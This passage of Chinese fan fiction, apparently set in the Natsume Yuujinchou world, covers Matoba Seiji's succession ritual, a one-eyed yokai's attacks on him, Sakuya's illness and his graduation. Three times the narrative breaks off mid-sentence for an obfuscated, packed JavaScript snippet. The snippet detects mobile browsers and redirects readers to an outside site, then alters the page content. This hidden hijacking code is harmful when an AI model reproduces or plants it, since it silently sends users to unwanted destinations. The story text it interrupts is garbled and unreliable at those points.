“在这件事情上,我不得不夸奖你,你将朔也引导得很好,现在看来,朔也只是缺了个过继的仪式。” 的场家主满意地看了儿子一眼,转而语重心长地劝告道:“但作为兄长,太溺爱弟弟可不行,当初史信可是对你很严厉的。” 的场静司神色平静,心里却骤然窜起一团怒火。 “不管您怎么说,我都不会同意的。”的场静司克制着情绪,淡淡说道:“朔也做好孩子该做的事就可以了。” 的场家主只觉得儿子的固执比起他来有过之而无不及,让人很是头疼。 对于静司不得不过早地继任为首领,的场家主一直都有着隐隐的担忧,静司的本性和史信似乎没有太大区别,太年轻的他真的会遵循祖辈的传统带领的场一门兴盛下去吗? 出于种种未曾言明的原由,在朔也这件本来没有多重要的事情上,静司越是坚持,的场家主反而越不愿妥协。 父子俩又争执了几句,激得一向冷静的的场静司坚决地说道:“如果您坚持的话,我明天就把朔也送回铃木家!” 谈话到了这种地步,已经没有继续下去的必要。 的场静司行过礼,离开了客厅。 * 朔也真的不是故意偷听。 的场家主和静司的谈话就发生在一楼的客厅里,对于父子俩偶尔会有的冲突,宅子里的人都见怪不怪了。 如果有像七濑这样的核心成员在的话,一般都会从中劝说缓和关系,只是最近大家都很忙碌,少了及时缓和气氛的人,父子俩才争执得这么厉害。 而碰巧下来拿水喝的朔也也没听见太多,只是觉得的场静司最后说出的那句话格外清晰。 「如果您坚持的话,我明天就把朔也送回铃木家!」 朔也顿时愣在原地,脑海里一片空白。 大脑懵了一会儿,朔也才找回思考的能力。 静司先生的声音听上去很生气,是发生了什么事吗? “朔也?” 朔也抬起头,望向不远处的的场静司,不知道是不是走廊里的光线太暗了,他总觉得视线有些模糊,以至于看不清对方的表情。 的场静司很快走了过来,他在朔也身前站定,投下些许阴影。 怎么老是看不太清楚? 朔也暗自抱怨着,正准备抬起头,却感觉到的场静司已经俯下身,正面对面的看向他。 温暖的手指从脸颊轻柔抚过,留下湿润的触感。 朔也还在疑惑,就听的场静司以一种莫名的语气说道。 “原来朔也会哭啊。” 诶? 朔也抬手抹了下脸,湿漉漉的水痕很快浸入绷带中。 ……他竟然哭了。 还是在自己完全没有意识到的情况下。 “我还以为无论发生什么,朔也都不会哭。”的场静司看着自己刚刚擦拭过眼泪的手,奇怪地说道。 “怎么可能?”朔也胡乱地擦掉泪水,有些难为情地反驳道:“我是人类啊,当然会哭。” “但我从来没有见过。”的场静司的语气格外认真。 从他第一次见到朔也,一直到现在,他从没见朔也哭过,也想象不出朔也会在哪种情况下哭起来。 朔也知道自己确实哭得少,但这不是理所当然的嘛,毕竟,“又没有什么难过到值得哭的事情。” “那现在朔也很难过吗?”的场静司看着眼前还留有一些泪水的眼睛,问道:“为什么?” “呃,我也不知道啊。”朔也郁闷地抱怨着,“眼泪自己流出来了。” 刚刚被朔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751172|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也突然流泪的画面所震慑的的场静司,终于真正地冷静下来,他回想起之前发生的事,有些不可思议地问道:“朔也不会是因为听见我刚刚对父亲说的那些话吧?” “……” 朔也想说不是,但他哭了,这可是事实。 的场静司品味着朔也纠结的表情,突然噗嗤一声笑了出来。 “静司先生!” 朔也还带着泪痕的眼睛瞪向一直看着他的人,这种时候还笑话他,好过分! “哦呀,抱歉,朔也实在太可爱了,我没忍住。”的场静司笑眯眯地感叹道:“所以,朔也竟然会因为这种话而难过啊。” “什么叫‘这种话’啊!” 朔也把头转向一边,不去看那张近在咫尺的笑脸,委屈又生气地说道:“虽然听上去是让我回家,但真实的情形不就和被抛弃了一样吗?” 的场静司像是被这句话击中了,他睁大眼睛,敛去笑容,隐隐显露出些许无措。 “这样啊……对不起,朔也,我不该那样说的。” “也不都是静司先生的错。”朔也吸了一下鼻子,低声说道:“我知道你那样说只是因为生气,都怪眼睛的反应太快了……” 那一瞬间他的大脑确实没反应过来,其实细想就会知道静司先生会说那种话一定是有缘由的,但他就像宕机了一样,身体本能反而比思维的速度更快。 所以,他这么害怕离开的场家吗? 原来,他已经不知不觉地,将这里当做不能离开的地方了啊。 朔也有些恍然。 的场静司深深地叹息一声,一把将少年搂进怀里。 “对不起,我再也不会说那样的话了。” 的场静司突然很后悔,他甚至想回到几分钟前,让自己把嘴里的话咽回去。 明明用其他方式也可以打消父亲的那些念头,但他偏偏被激得口不择言。 的场静司和朔也解释了一下他和父亲的争执。 “你知道的,仪式很危险,你跟着我会更危险。” “所以要是父亲执意让你跟着我的话,我打算送你回家待几天,等仪式结束了再回来。” 被埋在对方怀里的朔也闻言点了点头,闷闷地表示,“我知道了。” 的场静司摸了摸朔也的头,认真说道:“朔也,我不会把你送去任何地方,我想让你一直留在这里。” 朔也的额头抵着青年的胸口,这样听见的声音会和心跳声融合到一起,很微妙的,让人感到格外安心。 最后和往常一样,的场家主拿我行我素的静司完全没办法。 朔也被七濑特意安排到远离仪式的地方,帮些力所能及的小忙。 就在紧张而周全地筹备过后,的场一门终于用迎来了新一代首领的继任仪式。 23.第二十三章 袭击 * 在得知的场家和妖怪的恩怨后,朔也就仔细查阅过相关的资料。 的场家违背了当年和妖怪缔结的契约,大概是出于恐惧,并没有将这个妖怪的名字流传下来,如今提起时,一般是用“诅咒之瞳”来代称。 这个妖怪没有真实的身体,像是一团蠕动的黑雾,唯一能看清的就是一只硕大的左眼,而右眼的位置只留下凹陷的痕迹。 正因为失去了这只眼睛,妖怪执着于吞噬其他生物的右眼,当年的场家的人,正好利用它对右眼的执着获得了力量。 这个妖怪本就因失去右眼产生了怨念,在的场家毁约后,它的怨念越来越多,也因此越来越强大。 换句话说,的场家的后人要对付这个妖怪,只会一代比一代麻烦。 唯二两件值得庆幸的事情。 一是的场家族的力量源自这个妖怪,妖怪越强,的场家的力量也越强大,不至于出现后继无人的情况。 二是这个妖怪并不算聪明,它偶尔会像开窍了一样做一些欺骗人类的事情,但大多数时候没什么灵智,是一只靠着强横蛮力存活至今的妖怪。也正是这样,的场家才能在它几乎每月袭击一次的高频率里延续至今。 从朔也的角度来说,这样的妖怪,真的非常、非常、非常难缠。 如果是他的话,大概早就和妖怪同归于尽了,毕竟年幼时的他面对纠缠自己的妖怪就是这么做的。 啊,不对,如果是他的话,无论怎样都不会和妖怪缔结契约的。 的场一门的生存理念,果然是从当年那个先辈开始传承的吧。 很冷酷地说,会被怨念深重的妖怪追击是的场家自作自受。 但,这一代被追击的偏偏是的场静司,朔也绝不可能袖手旁观。 祓除、封印,对上那种妖怪应该会很艰难,而且从的场家秉持的理念来看,为了维持强大的力量,他们多半会甘愿忍受妖怪每月一次的袭击。 那朔也唯一能做的就只有尽可能地保护的场静司的安全,让妖怪每次都无功而返。 完全是一场无法停止的战斗啊。 因为意识到这一点,朔也甚至对坚持到现在的的场当家更尊敬了。 抛开这些不谈,朔也对这个妖怪的来历更感到好奇。 这样的妖怪更像是由某种妖怪甚至神明堕落而成,失去了原本正常的灵智,仅依靠深重的执念苟存于世。 如果能找出它的前身,也许能从缘初消解它的执念…… “朔也,会客厅需要布置,你要来帮忙吗?” “啊!我马上过来!” 朔也回过神,检查了一遍随身带着的符咒,匆忙出了房间。 今天的的场本宅已经设下了数不清的结界和各种符阵陷阱,眼睛状的符纹更是到处都是,举行仪式的地方也撑起了许多画满眼睛符纹的纸伞,所有的人都严阵以待。 而朔也,则被安排在远离仪式场地的大会客厅帮忙,仪式结束后,宾客会来这边聚会并享用自助餐。 他想观看仪式的话,也只能到楼上的走廊远远地看几眼,没准刚学会飞的八咫都能比他看得更清楚呢。 * 朔也刚忙完没多久,就听见千夏说仪式已经开始了,他抱着对方塞给他的点心,急匆匆跑到三楼的窗边。 隔着一段距离,朔也勉强能看见一些人影,的场静司的位置倒是挺好确定,因为他和附近的人都撑着符纹纸伞。 仪式正在庄重地进行,朔也的视线扫过人群,看向四周。 那个妖怪,会以什么样的方式出现呢? 在朔也忐忑的等待中,时间一分一秒过去,仪式似乎已进展到尾声。 “嘎——” 朔也被突然出现的暗哑鸣叫吓了一跳。 下一刻,八咫不知道从哪里窜了出来,落到朔也的肩上,拉长声音继续叫着,像是格外难听的警报声。 朔也心里一凛,看向纸伞聚集的地方。 在八咫的又一声鸣叫中,三把纸伞同时碎裂。 朔也愣住了,他刚刚连眼睛都没眨,却没看清那三个一团漆黑的妖怪是如何出现的。 而且竟然有三个!是妖怪的分身吗? 朔也紧张地张望着,那里有人的喊声传过来,不过听上去没有太慌张。 果然,没过多久,之前设置的结界和符阵就起了作用,三个妖怪分身很快消散在结界里。 的场一门的除妖师们依旧保持警戒,但妖怪本体却迟迟未出现。 仪式结束,宾客们按照引导走向大会客厅,三三两两议论着刚才的情形,感叹着的场家有条不紊的应对。 妖怪的袭击这就结束了? 朔也皱着眉,看向远处撑着伞走在人群中的的场静司,作为妖怪袭击的对象,他看上去好像完全不紧张。 “朔也少爷,可以去小客厅吃饭了哦。” 千夏在楼下喊了他一声。 没错,就和之前远离仪式场地一样,遵照的场静司的要求,朔也也得远离招待客人们的聚会。 朔也很听话地照做,但又不那么听话地偷偷溜去了刚刚举办仪式的场地。 这里有不少人正在收拾之前妖怪造成的破坏,朔也特意过去帮忙,趁机勘察了一下,但除了残留的些许妖气,他没发现任何有用的东西。 朔也不死心,等收拾完后又特意绕了宅院一大圈,仔仔细细搜查了一遍。只是他吭哧吭哧忙了小半天,依旧无事发生。 朔也扶着院墙,挫败地叹了口气。 一直跟着朔也的八咫飞过来啄了啄他的头发。 朔也扭头看向落在自己手臂上的八咫,有些怀疑地问道:“八咫,你是不是能看见那个妖怪?刚刚妖怪出现的时候,你吵得我都快聋了。” 八咫歪头看着朔也,豆子一样的小眼睛无辜地眨了眨。 朔也摸了摸自己疑似发昏的头。 哎,算了,他还是老实去吃饭吧。 啊,还得先给八咫喂食才行。 就在朔也往小客厅走的时候,八咫突然叫了一声飞走了。 “就这么嫌弃鸟食吗?” 朔也看着八咫飞走,倒是不怎么担心,它现在已经会在周围的树林里抓虫子了。 * 朔也在外折腾了小半天,却不知道他想找的妖怪已经出现在了大会客厅里。 的场静司看着刚刚被从一位宾客体内驱逐出来的妖怪,微笑着说道:“看来你非常想要我的眼睛。” 难怪之前出现的只是几个分身,这个妖怪这次竟然久违地用了附身的方式。 只是它依然不怎么聪明,附身的是一个平时总在私下议论的场一门的除妖师,也许对方心底的恶意更能吸引它这种充满怨念的家伙吧。 当这个除妖师过来和他寒暄时,的场静司很快就察觉了异样。 原本他只是试探地将朔也制作的守护符递给对方,没想到除妖师一接触符咒,妖怪就从他体内显现出来了。 不过这还没有结束。 的场静司和妖怪那只硕大而冰冷的眼睛对视了一瞬,说道:“想要眼睛的话,就过来拿吧。” 妖怪蠕动着身体,不停地重复念叨着“眼睛” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755709|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而后猛地跃起,扑向的场静司。 的场静司闪身退开两步,周围早已布置好的结界被妖怪触发,闪烁的微光一瞬间连成锁链,将妖怪困在半空中。 除妖师们迅速围了上来,掏出封印的符咒。 不过大家都知道,这样的妖怪,是很难被封印的。 所以看到妖怪瞬间挣脱结界成功逃跑,的场静司也并不意外。 “是因为仪式的关系吗?它比以往要难对付得多。”想到以后的日子,七濑暗叹一声。 的场静司轻笑道:“也许是给我的下马威吧。” “先是分身突袭,而后是附身伪装。”七濑思忖道:“既然已经逃跑,那这次的袭击应该是结束了。” 的场静司看着那个遭到附身的倒霉除妖师被人抬走,心里却总有种事情还未结束的预感。 “七濑桑,朔也呢?” “他之前一直在这边帮忙,现在去小客厅吃饭了。”七濑回答完,又无奈说道:“朔也可比你安全多了,你多关心下自己吧,衣服要更换一下吗?” 的场静司看了看,羽织和衣服下摆在刚刚的骚乱中被酒水淋湿了。 “我离开一会儿。” 七濑点点头,她不便过去,便让另外两位同门跟着的场静司。 * 的场静司刚顺着楼梯走上第二层,就看见了走廊窗边的朔也。 “朔也,你怎么在这里?” 朔也转身走了过来,他看了看跟着的场静司的两人,然后对静司笑着说道:“我怕你有危险,所以来看看你。” “别担心,已经没事了。” 朔也点点头,不再说话,安静地跟着的场静司继续往楼上走。 “怎么了?不开心吗?”的场静司看了身边的朔也一眼,少年垂着头不做声,一副闷闷不乐的样子。 “没有。”朔也摇摇头,说道:“就是很担心你的右眼。” 的场静司轻笑一声,“只是被符咒遮挡了而已,不过看上去确实有点奇怪。” 朔也停下脚步,抬头问道:“符咒真的能保护右眼吗?” 的场静司也停了下来,看向正微笑着的朔也。 他还在努力适应右眼被符咒遮住带来的变化,右眼的视线变得模糊,虽然左眼正常,但视线还是变得和平时不太一样,这让的场静司多少受了些影响。 比如,他总觉得现在的朔也看起来和以往有些怪异的差别。 “我可以看看吗?”朔也一脸渴望地看着的场静司的右眼。 “朔也很好奇这个符咒吗?” 朔也在制作符咒上很有天赋,他会对没研究过的符咒好奇是再正常不过的事。 这样想着,的场静司忽略掉刚刚的异样,撩起右边的头发,露出符咒的全貌。 朔也笑着抬手伸向符咒。 的场静司看着少年缠着绷带的手靠近自己,却觉得那种异样感越来越明显。 到底是因为什么呢? “嘎!” 嘶哑的鸟鸣让的场静司像被惊醒了一样,猛地往后退了一步,周围的环境一下变得清晰起来,他甚至听到了楼下的嘈杂动静。 朔也的手停在半空中,他平静地微笑着,执着地看着的场静司的右眼。 “怎么了?不是要给我看看吗?” 的场静司骤然醒悟过来,眼前这个“朔也”,是假的。 但他察觉地太迟了,此时和对方只有一步之遥,人的反应速度再快也很难快过妖怪。 “朔也”猛地一动,手快得几乎看不到残影,直取的场静司的右眼。 24.第二十四章 保护 * 朔也一进小客厅就碰到了千夏,她看着朔也关心地问道:“静司少爷还好吗?” “嗯?” 朔也疑惑地反问道:“静司先生怎么了?发生了什么事?” “呃,你不知道吗……”千夏只觉得有些糊涂,“静司少爷不久前在大会客厅驱逐了一个妖怪,你说要去看看静司少爷,我还以为……” “等等!” 朔也震惊地问道:“你刚刚看见我了?什么时候?在哪儿看见的?!” “是啊。”千夏一头雾水地回答道:“就在几分钟前,我在来小客厅的路上遇见你的,我叫了好几声你才听见呢。” 朔也只觉得一股冰冷的感觉从后背直接窜上了后脑勺,激得他起了一身鸡皮疙瘩,他抓住千夏的胳膊,紧张问道:“静司先生现在在哪儿?” “呃,听人说好像是受了伤,所以回房间……” 朔也头也不回地冲了出去。 有巡视的同门看见朔也在宅院里拼命狂奔,十分惊讶,不等他询问,朔也就大声喊道:“静司先生有危险!!!” “哈?” “他说什么?” “静司有危险!” “快!快通知七濑!” 朔也没去管身后的兵荒马乱,一路跑向主屋所在的方向,中途还不忘拿走了一个同门的弓箭。 疾速的奔跑让心脏的鼓动声盖过了其他杂音,朔也剧烈喘息着,只恨自己不能跑得更快一些。 静司先生现在怎么样了?不会真的被妖怪伪装的他骗到了吧? 不!妖怪就算伪装得再像也一定会表现出异常的地方,静司先生那么厉害一定能看出来…… 在冲上楼梯的时候,朔也隐约听到了八咫的叫声,这让朔也的神经绷得更紧。 三步并作两步爬到三楼,朔也一眼就看到了走廊远处几人之中那个和他无比相似的身影,他迅速抬手拉弓,大声喊道:“让开!” 伴随朔也的喊声一同响起的是一声尖锐地嚎叫,假“朔也”和的场静司之前突兀地闪现出一道耀眼的金色光亮。 朔也不敢眨眼,始终盯着目标,手指松开,羽箭射出。 箭影在朔也的视野中射向他预期的方向,只可惜那个妖怪的速度太快了,它堪堪闪避过箭矢,化作一团黑雾飞出窗外,眨眼间便消失得无影无踪。 朔也僵立在原地开始剧烈地喘息,刚刚他好像忘记呼吸了,现在只觉得头晕得厉害。 “朔也,没事吧?” 的场静司已经走了过来,伸手扶住朔也,上下打量着他。 朔也咳嗽几声,气息混乱地抱怨道:“这话该我问你才对,有受伤吗?” “没有哦。” 的场静司好像完全没受到刚刚惊险场景的影响,像往常那般笑着说道:“多亏有朔也的庇护,让那个妖怪错过了最好的时机。” 朔也很是无语,这个人总是喜欢说些不合时宜的玩笑话。 他抬头打量了一眼,倒吸一口冷气,“右眼的符咒被破坏了!” 这个发现让朔也后怕得厉害,“静司先生,只差一点点哎,真的很可怕好吗!” 的场静司想了想,掏出一直戴在脖子上的东西,坦率地说道:“其实如果没有它的话,妖怪大概已经得逞了。” 那时候的距离太近了,他就算发现对方是妖怪也来不及做出更多反应,但庆幸的是,在妖怪触及他的眼睛之前,胸前的东西保护了他。 那是朔也几年前送给他的生日礼物,一颗可爱的如同琥珀般的乳牙。 朔也瞪大眼睛,有些不敢相信。 “呃,它、它真的有用?” 虽然当时他觉得这颗奇怪的牙齿可能会有点用处,但当真的发现它能够保护人,朔也依然感到很惊奇。 而且,静司先生竟然一直随身戴着吗…… “我的式神,有庇护我哟。” 的场静司举着胸前的吊坠,冲朔也开心地笑了起来。 朔也在他的笑容里感受到了隐约的得意,这让的场一门的新任首领显露出些许少年般的气质。 朔也……朔也根本笑不出来,他只觉得整张脸在对方一句话的时间里已经变得爆红。 「在静司先生找到自己的式神之前,我来做静司先生的式神吧!」 多年前的那句话清晰地闪现在朔也的脑海中,他甚至能回想起自己当时的语气和心情。 朔也当然不是后悔年幼的自己做了奇怪的约定,说实话,哪怕放在今天,他依然会那么做的。 只是他自己说是一回事,静司先生用那么暧昧的语气说出来,则完全是另一种感受了。 朔也视线飘忽,努力生硬地转移了话题,磕磕巴巴地劝道:“静、静司先生,快、快去换掉右眼的符咒吧!” 的场静司亲昵地揉了揉朔也因奔跑而微湿的头发,“辛苦你了,朔也。” 听到这句话,朔也才意识到自己一直紧绷着,在头顶传来的暖意中,他终于放松下来,长长地呼出一口气。 静司先生没事,真的太好了! * 聚会还在继续,的场家也还有许多后续的事情要处理。 朔也吃过差点被他忘记的午餐,然后好好泡了个澡,回了自己的房间。 他本来打算抽空看看课本的,但不知道是不是之前神经绷得太紧,又被假“朔也”的事情狠狠惊吓了一番,还消耗了大量体力,导致整个人困得不行,只好老实去补觉。 而当朔也被人发现在发烧,已经是晚上了。 千夏见他一直没去吃晚餐就找了过来,结果发现他睡得昏昏沉沉,身上却烫得吓人,赶紧叫来了七濑和家庭医生。 “这孩子最近一直很紧张吧,是学习压力太大了吗?” 看着朔也房内四处放着的学习资料,医生心里有了猜测,对七濑委婉地说道:“这个阶段的孩子对压力的感受是很敏感的,长期如此会让免疫力下降。” “在正长身体的年纪遭遇这种情况,就连以后的健康都有可能受影响。” 被医生当做严厉家长的七濑无奈地应道:“是我们太疏忽了,以后会小心的。” 幸好朔也的症状并不严重,医生开好药,约好第二天一早再来检查。 朔也迷迷糊糊地吃了药,继续昏睡过去。 * 的场静司忙完一天的事情,时间已到了深夜。 他轻轻拉开朔也的房门,看见千夏正在给朔也替换头上的冷敷毛巾。 “千夏,你去休息吧。”的场静司轻声说道:“今晚我来照看他。” 千夏知道静司有多关爱朔也,于是放心地点点头,叮嘱道:“他比之前好些了,不过要是睡衣被汗湿的话,最好可以再换一套。” 的场静司应了下来,坐到朔也床边。 因为本宅是传统宅院的关系,房间也大多是和室,朔也刚来的场家的时候,一直睡得是榻榻米,但因为他喜欢自己打理事情,的场静司觉得小孩子每天收拾床褥很麻烦,就给朔也添置了西式的床。 那时候的床对小小的朔也来说还很宽大,现在睡着却是刚好了。 此刻的朔也安静地躺在被子里,脸颊因为还未褪去的温度呈现胭脂般的粉色,呼吸很轻但是有些短促,这是身体不舒服的证明。 的场静司在脑海里寻找了一番,回忆起朔也上次生病的场景,那已经是一年多前的事了。 学校里爆发流感,一直健康的朔也不幸中招,在家躺了十来天才痊愈,太过担心的铃木先生甚至因此在的场家留宿了好几日。 七濑私下里感叹道:“要让一个孩子平安健康地长大,真是不易啊。” 和妖怪比起来,人类实在脆弱不堪。 还是孩子的朔也,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759857|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕对着妖怪射出羽箭时有着超越成年除妖师的威慑,生病时也依旧如露水般,仿若稍有不慎就会消逝。 “唔……” 床上的朔也含糊地嘟囔一声,翻了个身,额头上的毛巾滑了下来。 的场静司把毛巾重新过了水、拧干,放回朔也的额头,收回手时,忍不住轻轻戳了戳朔也侧躺挤压出的脸颊软肉。 随着朔也逐渐成长,像这样戳脸或者摸头的机会已经越来越少了。 的场静司心中有些惆怅,朔也刚来的场家那会儿可是很黏他呢,因为做噩梦的关系,朔也有一阵子连睡觉都是和他一起。 那时候的朔也,就像小猫一样,让人自发地心生怜爱。 现在长大了许多,但…… 的场静司不禁弯起嘴角——但是好像更可爱了。 就连担心他吃太多甜食,总是把冰箱里的甜点悄悄拿走的样子也很可爱。 朔也在被子里又翻了个身,毛巾滑了下来,露出微皱的眉头。 还是很难受吗? 的场静司想了想,伸手探向朔也的后背,果然,衣服已经汗湿了,透着一股潮意。 千夏已将供更换的睡衣放在了床头,的场静司拿过来给朔也换上。 期间朔也醒了一会儿,只是迷迷糊糊的,见折腾他的人是的场静司,含糊地叫了他一声就又睡过去了。 看来朔也这次真的很辛苦,虽然没有表现出来,但他应该一直暗暗担忧着,不然也不至于一放松下来就生病。 让朔也生病当然不好,可是在的场静司心中最不为人知的角落,却因为“朔也一直担心他”这个事实而感到隐秘的愉悦。 与之对应的,则是他对朔也非同一般的、远超其他人的信任。 如果那个妖怪今天伪装的是别的什么人,父亲也好、七濑也好,甚至假如他见到的是母亲,他都有把握能很快察觉出异常。 因为他们对他而言是熟悉而确定的,互相都有着明确的边界和沟通模式。 只有朔也不一样。 他很熟悉朔也,但又时常感知到陌生的一面,他和朔也之间,似乎存在着通常意义上的边界,但其中的界限又很容易被抹去,他大多数时候能预测朔也的方向,但朔也依然给他带来许多的不确定…… 这种不可捉摸的微妙,的场静司曾以为只会在面对未知的妖怪时才会有。 所以,当那个妖怪伪装的朔也出现在他的面前时,所有异样都被他不自觉地合理化了,好像如果站在对面的是朔也的话,无论什么样,一切都是可以接受的。 事后的场静司意识到这一点时,有那么一瞬间,他甚至感到战栗,那是对自己被过于暴露而产生的恐惧。 但只要想起朔也,这个念头又瞬间消弭。 他是朔也的保护者,同时也正被朔也守护着。 “静司先生……还不去休息吗?” 的场静司回过神,对上朔也半睁着的眼睛,“啊,醒了啊,要喝点水吗?” 朔也喝了点水,又问道:“不去休息吗?” 的场静司笑了起来,“我今晚会一直在,朔也安心睡吧。” 朔也无精打采地看了的场静司一会儿,突然慢吞吞地挪动起了身体,等在旁边空出一点位置后,掀起了被子。 的场静司挑眉,“会很挤哦。” 朔也皱眉哼了一声,话都懒得说了。 的场静司露出无可奈何的微笑,在朔也无声的坚持下占据了床的另半边。 “要是觉得挤的话就告诉我哟。”当初他应该给朔也买更大一点的床的。 朔也没吭声,只是侧过身滚进了青年的怀里,这样空间确实显得富余了一些。 好吧,这确实是一种办法。 的场静司摸了摸朔也的额头,确定温度不再吓人,才放心地拍了拍少年的脊背。 “好了,睡吧。” 25.第二十五章 毕业 * 不常生病的人一旦生起病来,好的总会慢一些。 “为什么只是在家帮忙都能生病啊!你真的没做什么危险的事情吗?”电话那头的飒真怀疑地问道。 “呃,大概太累了,导致免疫力降低什么的。”朔也含糊地解释着。 “很严重吗?现在怎么样了?”说着飒真突然压低声音,“班长他们本来打算去探望你,还好被我劝住了。” “几乎已经痊愈了,谢谢你了,飒真!”朔也感激地说道。 因为的场家的待客风格很容易给人压力,所以除了飒真之外,朔也从来不邀请其他同学过来。 “你没事就好。”飒真松了口气,“笔记需要我拿给你吗?” “不用,我下周就会去学校。”朔也调侃道:“再说了,你不是每次来都觉得不自在么?” “喂!”飒真羞恼道:“说的我好像很有意见一样!” “哈哈,还是等我去学校吧!” 朔也打完电话,继续给等在一旁的八咫和它的朋友喂食。 在仪式那天妖怪袭击的场静司时,八咫及时地进行了警示,这下朔也可以确定八咫能够感知妖怪。 虽然这种情况很少见,但一些知觉敏锐的动物确实能察觉妖怪的恶意。 的场静司询问朔也是否要将八咫培养为助力,朔也考虑之后还是决定让八咫像普通渡鸦一样生存。 渡鸦只有短短十几年的的寿命,被当做工具的话就太可怜了。 不过为了感谢八咫的帮忙,朔也给它买了新鲜的面包虫,八咫吃了一口就飞出去了,朔也还以为是它不喜欢,结果没一会儿八咫就带着朋友飞了回来。 现在,这个圆滚滚的山雀朋友正蹲在八咫旁边,等着吃新鲜的虫子。 朔也忍着对虫子的恶心,小心翼翼夹起一条递了过去,山雀一点都不怕人,一口一条吃得很香。 “八咫,你什么时候交的朋友啊?之前完全没见过呢,是在后山认识的吗?” 八咫短促地“嘎”了一声。 “嘛,这样也好,毕竟都是差不多的白色。” “我家八咫承蒙你的关照,谢谢啦!”朔也又给山雀喂了一条虫子,自言自语地说道:“也不知道你的名字,怎么称呼比较好呢?雪团?丸子?胖啾?” “噗!” 朔也回过头,发现的场静司正站在门边,也不知道已经站了多久,此刻这个人正捂着嘴笑得开心。 朔也无语,吐槽道:“静司先生越来越像猫了,走起路来一点声音都没有。” “是朔也太专注了哦,和小鸟聊得很开心呢~” 的场静司依旧站在门口,他对自己不受动物欢迎的体质很有认知。 等朔也结束喂食,收起面包虫,他才慢条斯理地走进房间。 “静司先生今天不忙吗?”朔也还记得前不久对方因为偷懒把七濑气到的事情。 的场静司笑道:“也不会一直那么忙碌的,如果所有事情都需要首领亲自来做的话,所谓的上位者的特权不就毫无意义了么。” 朔也一边给八咫梳毛一边吐槽道:“我可是听七濑阿姨说,你正在做很重要的事哦。” 不过原话是:“静司又在做些离经叛道的事情,麻烦你多看着他了。” 看七濑阿姨很是无奈的表情,大概周围的人都已经妥协了吧,但这种事情指望他……坦白地说,他不同流合污就不错了。 “哦呀,七濑真是对你无话不说。”的场静司抱怨道:“但明明只要你来问我,我都会告诉你的。” “诶?”朔也怀疑道:“我还记得之前关于仪式的事情,静司先生可是顾左右而言他呢。” 啊,小孩子的记性果然很好。 的场静司淡定地笑了笑,“这次是真的有事找朔也帮忙哟!” “什么事?”朔也的好奇心占了上风。 “我想做个式神出来。” “哈?!” 两只鸟被朔也的声音吓了一跳,不满地叫了几声后就飞出了窗外。 朔也真的被惊吓得不轻,“呃,对不起,是我听错了吗?” “没有哦。”的场静司笑眯眯地说道:“我想做的式神,虽然不像一般的式神那样有自主意识,但能听懂简单的指令,这样也能行使一些式神的职责。” 朔也想了想,“听上去像是机器人。” “这么理解也没错。”的场静司点点头,“可以当做是妖力结合术具形成的傀儡。” “唔……”朔也沉思起来。 “朔也觉得这个主意很可怕么?” 利用非人之物和自己做一个非人之物出来,后者听上去更接近一种禁忌。 “什么?”朔也回过神,“说起来,我好像曾经在哪个笔记里看过关于傀儡的事情,还有至今仍在用的‘纸人形’,如果能将妖力凝聚成类似‘灵体’的东西,借助纸人形应该很容易实现吧?说到‘灵体’……” 的场静司看着朔也认真地思考起可行性,嘴角的笑意无论如何都压不下去。 “静司先生有在听吗?” 发现的场静司似乎在走神,朔也不满地说道:“虽然我了解的东西很基础,但说不定也有些启发价值呢。” “啊,我在听哦,朔也和我预想的完全一样!” “是吗?”朔也有些不好意思,又有些隐隐的得意,“那我能帮静司先生做些什么呢?阵法和符纹我应该可以帮上点忙,纸人形的话,要不要问问名取先生呢……” “朔也安排就好。”的场静司撑着头,微笑着看着朔也,“我随时听候你的差遣。” “真是的!认真一点啊静司先生!” * 于是,朔也最后一段初中时光,就在学业和对术法的摸索中度过了。 转眼就到了来年春天,朔也参加毕业典礼的日子。 因为大部分同学都会继续直升高中部,离别的氛围没有特别浓厚。 不过铃木慎吾依然很受触动,等仪式结束朔也找到他时,这个中年男人哭得眼睛都红了。 “爸爸,要冷敷一下吗?”朔也笑道:“马上要拍纪念照呢!” 铃木慎吾擦了擦眼角,不好意思地说道:“一想到朔也正在平安地长大,就觉得很幸福,幸福的痕迹能被记录下来更好。” 朔也挠了挠微红的脸颊,“爸爸要是没那么担心就好了。”他看向远处,轻声说道:“我一直都生活得很好,每天都很开心。” 铃木先生有些惆怅,摸了摸朔也的头。 不过没一会儿就有许多同学过来找朔也合影,铃木慎吾顿时又精神起来,手上的相机都没停下来过。 “朔也和翔平一样,很受欢迎啊!” 当晚上父子三人难得一起聚餐的时候,铃木慎吾说起毕业式的情形,如此自豪地感慨道。 